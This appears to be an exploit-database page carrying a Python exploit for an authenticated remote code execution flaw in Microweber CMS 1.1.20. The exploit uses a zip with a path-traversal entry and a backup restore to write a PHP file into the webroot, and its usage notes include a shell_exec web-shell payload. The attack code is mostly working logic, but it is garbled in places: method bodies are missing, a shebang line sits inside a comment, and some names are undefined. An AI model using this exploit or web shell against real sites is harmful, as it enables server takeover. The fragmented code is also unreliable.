Exploits / Vulnerability Discovered : 2021-05-10 |
Type : webapps |
Platform : php
This exploit / vulnerability Microweber cms 1.1.20 remote code execution (authenticated) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)
# Date: 2020-10-31
# Exploit Author: sl1nki
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber/tree/1.1.20
# Version: <=1.1.20
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-28337
#
# Example usage with default phpinfo() payload:
# ./microweber_rce.py \
# --hostname "http://microwebertest.com" \
# --username "admin" \
# --password "password123"
#
#
# Example usage with custom payload (shell_exec):
# ./microweber_rce.py \
# --hostname "http://microwebertest.com" \
# --username "admin" \
# --password "password123" \
# --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
#
# Notes:
# * SSL verification is disabled by default
# * If for some reason the --target-path "/userfiles/cache
#!/usr/bin/python3
#/" doesn't work, "/userfiles/modules/" is a good one too.
#
#
#
import argparse
import re
import requests
import sys
import zipfile
if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!":
print(f"[+] Successfully logged in as {username}")
self.cookies = res.cookies
else:
print(f"[-] Unable to login. Status Code: {res.status_code}")
sys.exit(-1)
if payload == None:
payload = "<?php phpinfo(); ?>"
zd = BytesIO()
zf = zipfile.ZipFile(zd, "w")
# The custom Unzip class uses a path under the webroot for cached file extraction
# /storage/cache/backup_restore/<md5 hash>/
# so moving up 4 directories puts us at the webroot
zf.writestr(f"../../../..{path}{filename}", payload)
zf.close()
return zd
def uploadZip(self, zipData):
# Upload the zip data as a general file
def getAbsoluteWebRoot(self):
# Determine the webroot using the debug output and the DefaultController.php path
res = self.makeGetRequest("", params={
"debug": "true"
})
if res.status_code != 200:
print(f"[-] Unable to collect debug information. Bad server response: {res.status_code}")
sys.exit(-1)
target = "src/Microweber/Controllers/DefaultController.php"
m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text)
if len(m) == 1:
return m[0]
else:
print(f"[-] Unable to determine the webroot using {target}. Found {len(m)} matches")
def moveZipToBackup(self):
# Move the uploaded zip file into the backup directory
src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}"
res = self.makeGetRequest(self.moveZipToBackupUrl, params={
"src": src
})
if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!":
print(f"[+] Successfully moved {self.zipPayloadName} to backup")
else:
print(f"[-] Unable to move zip to backup ({res.status_code})")
sys.exit(-1)
def restoreBackup(self, filename):
# With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely
res = self.makePostRequest(self.restoreBackupUrl, data={
"id": filename
})
if res.status_code == 200 and "Backup was restored!" in res.text:
print(f"[+] Successfully restored backup {filename}")
else:
print(f"[-] Unable to restore backup {filename}")
sys.exit(-1)